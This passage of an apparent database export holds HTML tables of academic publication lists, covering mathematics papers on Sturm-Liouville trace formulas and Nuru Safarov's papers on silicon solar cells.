width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of regularized trace of Sturm-Liouville equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Materials 0f I Rep. conference on math and mech., Baku</strong></p></td><td width=\"60\"><p><strong>1995</strong></p></td><td width=\"66\"><p><strong>II part, pp.63-66</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Weighted trace of Schrödinger equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>AzIMU, Proceedings, Baku</strong></p></td><td width=\"60\"><p><strong>1996</strong></p></td><td width=\"66\"><p><strong>N6, pp.185-186</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Investigation of asymptotics of number of eigenvalues and regularized trace of singular differential operator equations</strong></p></td><td width=\"102\"><p><strong>avtoreferat</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Avtoreferat of dissertation,Baku</strong></p></td><td width=\"60\"><p><strong>1996</strong></p></td><td width=\"66\"><p><strong>15 p.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Eigenvalue distribution of singular differential operator on all axis</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Transactions of National Academy of Sciences of Azerb.,Baku</strong></p></td><td width=\"60\"><p><strong>1997</strong></p></td><td width=\"66\"><p><strong>Vol.XVIII,N4-5, pp.15-20</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotic behaviour of the distribution function for one singular operator</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Transact. Of Acad. of Sciences of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>1998</strong></p></td><td width=\"66\"><p><strong>Vol.XVIII N3-4, pp.3-5</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Regularized trace of operator Sturm-Liouville equation on finite segment</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Proceedings of Institute of Math . and Mech. Of Acad. of Sciences of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>1998</strong></p></td><td width=\"66\"><p><strong>Vol. IX, pp.23-26</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Stability of special solutions of non-selfadjoint&nbsp; operator on all axis</strong></p></td><td width=\"102\"><p><strong>Thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Materials of conference devoted to 25 anniversary of Azerb. University of Architecture and Construction, Baku</strong></p></td><td width=\"60\"><p><strong>2001</strong></p></td><td width=\"66\"><p><strong>pp.324-325</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula for regular Sturm-Liouville operator on finite segment</strong></p></td><td width=\"102\"><p><strong>Thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Materials of conference devoted to 25 anniversary of Azerb. University of Architecture and Construction, Baku</strong></p></td><td width=\"60\"><p><strong>2001</strong></p></td><td width=\"66\"><p><strong>pp.325-326</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>The stability of the inverse problem of the scattering theory for non-self-adjoint operator</strong></p></td><td width=\"102\"><p><strong>Article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Transact. Of Acad. of Scienmces of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>2000</strong></p></td><td width=\"66\"><p><strong>Vol.XX,N4, pp.30-34</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>The stability of the inverse problem of the scattering theory for non-self-adjoint operator on all axis</strong></p></td><td width=\"102\"><p><strong>Article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Proceedings of Instritute of Math. And Mech., Baku</strong></p></td><td width=\"60\"><p><strong>2001</strong></p></td><td width=\"66\"><p><strong>Vol XV, pp.28-36</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Integral generalization of the second order matrix differential equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans. Of NAS of Azerb.</strong></p></td><td width=\"60\"><p><strong>2004</strong></p></td><td width=\"66\"><p><strong>Vol.XXIV, N1, pp.71-78</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Exactness of reconstruction of potential of matrix Sturm-Liouville equation by scattering data known on finite interval</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>AzTU, Proceedings</strong></p></td><td width=\"60\"><p><strong>2004</strong></p></td><td width=\"66\"><p><strong>Vol .III,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; N1(9),pp.30-37</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Stability of reconstruction of the Sturm-Liouville operator with matrix coefficients on scattering data</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans. Of NAS of Azerb, Baku</strong></p></td><td width=\"60\"><p><strong>2005</strong></p></td><td width=\"66\"><p><strong>Vol.XXV, N1, pp.33-42</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula of second order differential operator equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Thesis of XII International conference devoted 70-th anniversary of the corresponding member of NAS of Azerb. B.A.Iskenderov, Baku</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"66\"><p><strong>p.35</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of the regularized trace of differential operator with operator coefficient</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans. Of NAS of Azerb. Baku</strong></p></td><td width=\"60\"><p><strong>Vol.XXVI,N1, pp.39-44</strong></p></td><td width=\"66\"><p><strong>2006</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>n-th regularized trace of differential operator equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans.of NAS of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>Vol. XXVI,N7, pp.27-32</strong></p></td><td width=\"66\"><p><strong>2006</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of the trace of one Sturm-Liouville boundary value probnlem</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Materials of Ninth Baku International Congress&lt;&lt;Energy, Ecology, Economy&gt;&gt;</strong></p></td><td width=\"60\"><p><strong>N4,5,pp.21-24</strong></p></td><td width=\"66\"><p><strong>2006,2007</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Calculation of n-th regularized trace of Sturm-Liouville operator with eigenvalue dependent boundary condition</strong></p></td><td width=\"102\"><p><strong>thersis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Thesis of XIII Intern. Conf. on Math. And Mech. Devoted to 70-th anniversary of real member of NAS of Azerb. Prof.A.D.Hajiev, Baku</strong></p></td><td width=\"60\"><p><strong>p.27</strong></p></td><td width=\"66\"><p><strong>2007</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula for Strurm-Liouville operator equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Proc.of Institute of Math. And Mech. Of NAS of AzerB.,Baku</strong></p></td><td width=\"60\"><p><strong>Vol.XXVI,</strong></p></td><td width=\"66\"><p><strong>2007</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula for one boundary value problem for operator Sturm-Liouville operator equation</strong></p></td><td width=\"102\"><p><strong>Article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Siberian journal of mathematics,(science citatation index expanded)</strong></p></td><td width=\"60\"><p><strong>November-december, vol.49,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n6,pp.1207-1215</strong></p></td><td width=\"66\"><p><strong>2008</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>On regularized trace of one Sturm_Liouville problem with eigenvalue dependent boundary condotion</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Trans.of NAS of Azerb., Baku</strong></p></td><td width=\"60\"><p><strong>v.XXVIII,N4,pp.27-36</strong></p></td><td width=\"66\"><p><strong>2008</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotic distribution of eigenvalues and regularized trace of boundary value problem for Bessel’s operator equation with eigenvalue dependent boundary condition</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Proc. Of Inst. Of Math. And Mech. Of NAS of Azerb.,Baku</strong></p></td><td width=\"60\"><p><strong>v.XXIX,pp.21-42</strong></p></td><td width=\"66\"><p><strong>2008</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotics of eigenvalues of second order differential operator equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Thesis of Inter. Conference on math.and mech. Devoted 50-th anniversary of Institute of Math. And Mech.,Baku</strong></p></td><td width=\"60\"><p><strong>p.47</strong></p></td><td width=\"66\"><p><strong>2009</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula of one singular problem with parameter contained boundary condition</strong></p></td><td width=\"102\"><p><strong>Thesis</strong></p></td><td width=\"84\"><p><strong>K.M.Aslanov</strong></p></td><td width=\"102\"><p><strong>Spectral theory and applications, Thesis of international conference devoted to 80-th anniversary of acad. F.G.Maksudov,Baku</strong></p></td><td width=\"60\"><p><strong>pp.68-70</strong></p></td><td width=\"66\"><p><strong>2010</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Formula for second regularized trace of one Sturm-Liouville operator</strong></p></td><td width=\"102\"><p><strong>Thesis</strong></p></td><td width=\"84\"><p><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p><strong>Spectral theory and applications, Thesis of international conference devoted to 80-th anniversary of acad. F.G.Maksudov,Baku</strong></p></td><td width=\"60\"><p><strong>pp.101-103</strong></p></td><td width=\"66\"><p><strong>2010</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Investigation of spectrum and trace formula for operator Bessel equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Siberian Journal of Mathematics(Science citation expanded)</strong></p></td><td width=\"60\"><p><strong>Vol.5, N4,pp.720-737</strong></p></td><td width=\"66\"><p><strong>2010</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Eigenvalue distribution and trace formula for operator Sturm-Liouville operator equation</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p><strong>Ukranian journal of Mathematics(Science citation index expanded)</strong></p></td><td width=\"60\"><p><strong>Vol.62, N7,pp.867-877</strong></p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Identity for eigenvalues for operator Sturm-Liouville equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>AslanovK.M.</strong></p></td><td width=\"102\"><p><strong>Functional analysis and its applications, proceedings of the international conference devoted to the 100-th anniversary of acad. Z.I.Khalilov, baku</strong></p></td><td width=\"60\"><p><strong>pp.48-50</strong></p></td><td width=\"66\"><p><strong>2011</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Trace formula for fourth order diff.operator equation</strong></p></td><td width=\"102\"><p><strong>thesis</strong></p></td><td width=\"84\"><p><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p><strong>Functional analysis and its applications, proceedings of the international conference devoted to the 100-th anniversary of acad. Z.I.Khalilov, baku</strong></p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>2011</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Asymptotics of eigenvalues and trace formula for one singular problem</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Analysis of Pure and Applied Mathematics(Zentralblat indexing, Berlin)</strong></p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>2011</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>Formula for second regularized trace of one Sturm-Liouville problem</strong></p></td><td width=\"102\"><p><strong>article</strong></p></td><td width=\"84\"><p><strong>M.Bayramoglu</strong></p></td><td width=\"102\"><p><strong>Journal of Mathematics and Statistics(hacettepe University),Science citation index expanded)</strong><strong></strong></p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr></tbody></table>  <br></div>'),(1544,964,'az','Nuru Safarov','Nuru Safarov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"606\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"91\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"95\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Кремниевые солнечные элементы с просветляющим слоем из Та<sub>2</sub>О<sub>5</sub></p></td><td width=\"91\"><p>Journal articles<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Абдуллаев Г.Б., Бакиров М.Я.</p><p>Safarov N.A.</p><p><strong>&nbsp;</strong></p></td><td width=\"102\"><h2>Гелиотехника</h2><h2>,</h2><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>1992</strong></p></td><td width=\"60\"><p><strong>№5, с.11-13</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Кремниевые солнечные элементы с просветляющими слоями из оксида и нитрида кремния</p></td><td width=\"91\"><p>Journal articles<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Абдуллаев Г.Б., Бакиров М.Я.</p><p>Safarov N.A.</p><p><strong>&nbsp;</strong></p></td><td width=\"102\"><h2>Гелиотехника</h2><h2>&nbsp;</h2></td><td width=\"60\"><p><strong>1993</strong></p></td><td width=\"60\"><h2>№1,</h2><p><strong>с.75-77</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние просветляющего слояТа<sub>2</sub>О<sub>5&nbsp;</sub>на фотоэлектрические характеристики&nbsp; кремниевого солнечного элемента</p></td><td width=\"91\"><p>Conference Proceedings<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Safarov N.A.</p><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p>Азербайджана Баку<strong>&nbsp;</strong></p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>с.3</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Радиационные эффекты в кремниевых солнечных элементах с просветляющими слоями</p></td><td width=\"91\"><p>Conference Proceedings<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Safarov N.A.</p><p>Сафарова Ф.Д.</p></td><td width=\"102\"><p>Баку, БГУ<strong>&nbsp;</strong></p></td><td width=\"60\"><p>1993<strong>&nbsp;</strong></p></td><td width=\"60\"><p>часть 11, с.126</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Кремниевые солнечные элементы с двусторонней чувствительностью</p></td><td width=\"91\"><p>Conference Proceedings<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Сафарова Ф.Д.</p><p>Safarov N.A.</p><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p>Баку, БГУ<strong>&nbsp;</strong></p></td><td width=\"60\"><p>1993</p></td><td width=\"60\"><p>часть 11, с.125</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Optik örtüklü silisium günəş elementlərində fotovolt və radiasiya effektləri</p><p>&nbsp;</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Abdullayev H.B.</p><p>Bəkirov M.Y. Safarov N.A.</p><p>Əhmədov Q.M.</p></td><td width=\"102\"><h2>Azərbaycan EA, Xəbərlər</h2></td><td width=\"60\"><p><strong>1993</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>№3-4,&nbsp;</strong><strong>cild&nbsp;</strong><strong>Х1</strong><strong>V</strong><strong>,</strong><strong>&nbsp;səh..</strong><strong>.3-4</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Некоторые особенности кремниевых солнечных&nbsp; элементов с двусторонней&nbsp; чувствительностью</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Абдуллаев Г.Б., Бакиров М.Я.,</p><p>Safarov N.A.</p><p>Сафарова Ф.Д.</p></td><td width=\"102\"><h2>Гелиотехника</h2><h2>&nbsp;</h2></td><td width=\"60\"><p><strong>1993,</strong></p></td><td width=\"60\"><p><strong>№6</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Кремниевые солнечные элементы с просветляющими слоями Nd<sub>2</sub>О<sub>3</sub>&nbsp;и&nbsp; ZnS+ Nd<sub>2</sub>О<sub>3</sub></p><p>&nbsp;</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Абдуллаев Г.Б. Бакиров М.Я. Safarov N.A.</p><p>Ахмедов Г.М.</p></td><td width=\"102\"><h2>Гелиотехника</h2></td><td width=\"60\"><p><strong>1994</strong></p></td><td width=\"60\"><h2>№1,</h2><p><strong>с.14-16</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние направление электронного пучка на скорость деградации параметров кремниевых солнечных элементов</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Бакиров М.Я., Ахмедов Г.М.,</p><p>Сафарова Ф.Д.</p><p>Джафарова Э.А.</p><p>Safarov N.A.</p><p>&nbsp;</p></td><td width=\"102\"><p>Гелиотехника,</p></td><td width=\"60\"><p>1994</p></td><td width=\"60\"><p>№6, 34-36</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Investigation of the effect of fast electrons on SiO<sub>2</sub>&nbsp;used in silicon solar cells</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Abdullaev G.B.</p><p>Bakirov M.Y.</p><p>Safarov N.A.</p><p>Safarova F.D.</p></td><td width=\"102\"><p>Applied solar energy</p></td><td width=\"60\"><p>1994<strong>&nbsp;</strong></p></td><td width=\"60\"><p>vol 30; №3, p.11-13<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Фотоэлектрические и радиационные характеристики кремниевых фотопреобразователей с двусторонней чувствительностью</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>. Safarov N.A</p><p>Сафарова Ф.Д. Ахмедов Г.М.</p><p>&nbsp;</p></td><td width=\"102\"><p>Проблемы энергетики</p></td><td width=\"60\"><p>2000</p></td><td width=\"60\"><p>№2, с.86-91</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Просветляющие покрытия из Nd<sub>2</sub>О<sub>3&nbsp;</sub>для кремниевых фотопреобразователей</p></td><td width=\"91\"><p>Conference Proceedings<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Mədətov R.S. N.A. Safarov</p><p>Qasımova V.Q.<strong>&nbsp;</strong></p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>&nbsp;2001</p></td><td width=\"60\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Visual Analysis and Management of physiological emotional condition using Multimedia Systems</p></td><td width=\"91\"><p>International Workshop</p></td><td width=\"95\"><p>Axmedov R.,</p><p>Safarov N.A.</p><p>Talibov S.</p></td><td width=\"102\"><p>Graz, Austria</p></td><td width=\"60\"><p>2002</p></td><td width=\"60\"><p>http://www/icg.tu-graz.ac.at</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Поверхностные эффекты в кремниевых солнечных элементах</p></td><td width=\"91\"><p>Conference Proceedings<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Мадатов Р.С.,</p><p>Safarov N.A.</p><p>Ахмедов Г.М.</p></td><td width=\"102\"><p>Baku-Azerbaijan,<strong>&nbsp;</strong></p></td><td width=\"60\"><p>2002<strong>&nbsp;</strong></p></td><td width=\"60\"><p>s. 439-441<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Günəş batareyalarının maya dəyəri və bu dəyərə uyğun xidmət müddəti<strong>&nbsp;</strong></p></td><td width=\"91\"><p>Conference Proceedings<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Cəfərova E.Ə.&nbsp; Tapdıqov E.S.. Safarov N.A</p><p>Əlixanova Ş.Ə.</p></td><td width=\"102\"><p>Baku-Azerbaijan,<strong>&nbsp;</strong></p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>s.100 -101</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Azərbaycan iqlim bölgələri və sahələri üzrə günəş fotoelektrik qurğularının enerji hasilatı hesabatının metodikası və nəticəsi<strong>&nbsp;</strong></p></td><td width=\"91\"><p>Journal articles<strong>&nbsp;</strong></p></td><td width=\"95\"><p>Həşimov A.M.</p><p>&nbsp;Safarov N.A</p><p>Mədətov R.S.</p><p>Əhmədov Q.M.<strong>&nbsp;</strong></p></td><td width=\"102\"><p>Energetikanın problemləri</p><p><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>2003,</strong></p></td><td width=\"60\"><h2>№1,</h2><p>s.20 -27</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Influence of radiation on photo-electric characteristics of&nbsp; silicon photo cells with optical coverings</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Madatov R.S.,</p><p>Gasumova V.G., Safarov N.A.</p><p>Allahverdiev A.M.</p><p><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Алматы, Республика Казахстан</strong></p></td><td width=\"60\"><p><strong>2003</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>р.195-196</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>The influences of the surface effects on the mechanisms of the current passage in the silicon photoelements with&nbsp; optical coverings</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Madatov R.S.,</p><p>Gasumova V.G.,</p><p>Safarov N.A.</p><p>Akhmedov G.M.</p></td><td width=\"102\"><h2>Fizika</h2></td><td width=\"60\"><p><strong>2003</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><h2>№2,</h2><p>p.15-17</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Dəri impedansına görə elektrostimulyatorun avtomatik qoşulma sistemi<strong>&nbsp;</strong></p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>Safarov N.A.</p><p>Əmirov Ş.Ş.</p><p>Axundova F.A.<strong>&nbsp;</strong></p></td><td width=\"102\"><p>Fizika</p></td><td width=\"60\"><p>2004<strong>&nbsp;</strong></p></td><td width=\"60\"><p>C. Х &nbsp;№1,2,s.40-42<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Структурные изменение SiO<sub>2</sub>используемые в многослойных кремниевых солнечных элементах</p></td><td width=\"91\"><p>Journal articles<strong>&nbsp;</strong></p></td><td width=\"95\"><p>N.A. Safarov</p><p>В. Д. Шукурова</p></td><td width=\"102\"><p><strong>Экоэнергетика</strong></p></td><td width=\"60\"><p><strong>2004</strong></p></td><td width=\"60\"><p><strong>№2,&nbsp; ,&nbsp; с. 26-27</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Short-wave photosensivity&nbsp; in the irradiated silicon photoconverters with optical coverings</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Madatov R.C.</p><p>Gasumova B.G.</p><p>Safarov N.A.</p><p>Ahmedov G.M.</p><p>Rzaeva M.P.</p></td><td width=\"102\"><p>Tabriz-Iran<strong></strong></p></td><td width=\"60\"><p>2004<strong></strong></p></td><td width=\"60\"><p>p.810-812<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Using magnetic field in cooling systems of solar photoelectric sets</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Hashimov A.M.</p><p>Hassanov H.G.</p><p>Safarov N.A.</p><p>Tabatabaei Naser M.</p><p>N.Samsunchi</p></td><td width=\"102\"><p>Tabriz-Iran<strong></strong></p></td><td width=\"60\"><p>2004<strong></strong></p></td><td width=\"60\"><p>p.779-780<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>New cationo-active oligomeric electrolytes based on epichlorohydrin and amines</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Ahmadova G.A.</p><p>Asadov Z.H.</p><p>Isayeva M.Z.</p><p>Aliyeva G.S.</p><p>Safarov N.A.</p><p>&nbsp;</p></td><td width=\"102\"><p>Kars, Turkey<strong></strong></p></td><td width=\"60\"><p>2004<strong></strong></p></td><td width=\"60\"><p>p.1061<strong></strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>О возможности использования магнитного поля в охлаждающих системах&nbsp; солнечных фотоэлектрических установок</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td 